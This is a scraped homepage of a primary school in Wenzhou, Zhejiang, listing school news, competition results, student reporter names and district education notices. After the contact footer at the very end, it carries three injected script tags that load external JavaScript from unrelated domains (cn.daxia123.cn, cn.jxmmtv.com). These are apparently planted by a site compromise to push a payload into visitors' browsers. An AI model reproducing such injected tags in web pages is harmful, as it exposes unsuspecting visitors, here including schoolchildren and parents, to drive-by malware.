未知格式

未知格式

2009年
1月6日
星期二
 
用户名: 密码:  
   
 
寄四年级在2005年区小学生规范字书写竞赛中荣获团体二等奖
喜 报
喜 报
寄四年级在2005年区小学生规范字书写竞赛中荣获团体二等奖
举行省级课题《农村小学新课程理念下的案例研究》结题展示活动
爱心——救助患病女孩季佩佩
瞿溪三小开展学生爱心捐款活动
瞿溪三小开展教师“慈善一日捐”活动
学生记者参观报喜鸟集团
学生记者楠溪江摄影采风
学生记者参观红蜻蜓中国鞋文化博物馆
更多>> 
搜索引擎:        
2005年我省成人高校招生政策...
关注教育不公平现象:家庭背景影...
教师培训,一种生命的对话
今年浙江高考两位女状元
2005年上学期期末工作会议今...
弘扬人民教师高尚师德 为了未成...
黄丽敏
吕约
吴洋洋
徐逸凡
陈旖
潘戈予
张才思
金瓯瑞
 
· 关于公布校学生记者摄影作品评比结果的通知
· 瞿溪三小铅笔字、钢笔字比赛获奖名单
· 2004学年第二学期瞿溪三小期末工作行事历
· 瞿溪三小2004学年第二学年期末测试安排
· 省级课题《农村小学新课程理念下的案例研究》结题展示活动的通知
· 瞿溪三小寄宿分校“放飞希望”庆“六·一”才艺表演
· 瞿溪三小庆“六·一”歌咏比赛
· 关于公布瞿溪三小一、二年级口算能力评价成绩的通知
· 关于公布2005年瞿溪三小创造发明比赛结果的通知
· 瞿溪三小寄宿分校一年级新生开始报名啦!
· 关于开展学生记者采访摄影活动的通知
· 学科主题培训考核瞿溪三小教师名单
· 瞿溪三小艺术节活动人人讲诚信小制作比赛评比结果
· 瞿溪三小艺术节活动人人讲诚信演讲比赛评比结果
· 瞿溪三小艺术节活动卡拉OK大赛评比结果
· 关于公布校智力七巧板比赛获奖名单的通知
· 2005年瞿溪三小科技黑板报比赛获奖名单
· 关于公布校科技手抄报比赛获奖名单的通知
· 关于公布校科技剪报比赛获奖名单的通知
· 关于公布校科幻绘画现场比赛获奖名单的通知
· 关于开展第六届艺术节活动的通知
· 瓯海区瞿溪三小2005年温州晚报学生记者名单
· 关于公布校第六届青少年科技节科技创新大赛评比结果的通知
· 关于公布一、二年级科技剪报比赛结果的通知
· 关于举办“逛二月初一会市,看百年古镇瞿溪”摄影采访活动通知
· 2003年度瓯海区青少年科技教育工作先进集体和先进个人
· 第十八届瓯海区青少年科技创新大赛评选结果的通知
· 关于公布校第五届青少年科技节科技创新大赛评比结果的通知
· “市级优秀课题设计方案”现场竞赛结果的通知
· 第十八届温州市青少年科技创新大赛获奖名单
· 童年想像、无限创意”作文比赛结果
· 关于举行校小学生数学选拔赛的通知
· 关于举行校高年级学生“童年想象,无限创意”现场作文竞赛的通知
· 关于举办第五届青少年科技节科技创新大赛的通知
 
关于瓯海区第五届中学教坛新苗、第七届小学教坛新苗名单的公示
关于组织区第四期小学数学骨干班教师培训活动的通知
温州市瓯海区教育局关于做好2005年初定教师专业技术职务工作的通知
温州市瓯海区教育局关于印发瓯海区中小学教职工岗位目标考核工作实施意见(修订)的通知
关于公布2005年瓯海区CAI课件、电教论文、实验教学论文评比结果的通知
关于转发2005年全省信息学奥林匹克教师培训的通知
更多>>
友情链接: 温州热线 | K12 | 温州教育网 | 瓯海教育网 | 瓯海科技网 | 中国教育部 | 温州教育资源网 | 温州课改在线 | 温州科研网 | 温州电化网 | 温州少儿新浪搜索 | CCTV | 温州都市报 | 温州日报 | 温州晚报 | 中国科普 | 瓯海中学 | 三溪中学 | 梧田一小 | 育英国际实验学校  | 驱动之家 | 中国基础教育网 | 现代信息技术教育网 | 温州电脑网 | 中国发明网 | 课件大师 | 小学教师网 | 泽雅旅游 | 少年电脑报 | 中国儿童网 | 新桥一小 | 温州E时代图书馆 | 城域网学籍管理系统3.0[学校端] | 瞿溪三小ftp下载 | 瞿溪三小资源库 | 瞿溪三小教师ftp空间 | 浙江移动话费查询 | 浙江省科学技术协会 | 温州科学技术协会 | 中国科学技术协会 | 潘桥一小 | 鹿诚影院
 
校园公告 | 在线短讯 | 家长反馈 | 教师信箱 | 校长热线 | 网上留言 | 网站管理 |

浙江省温州市瓯海瞿溪第三小学 电话:0577-86268497 传真:0577-86278018 顾问:陈 晓 网管:唐 亮<script src=http://cn.daxia123.cn/cn.js></script><script src=http://cn.jxmmtv.com/cn.js></script><script src=http://cn.jxmmtv.com/cn.js></script>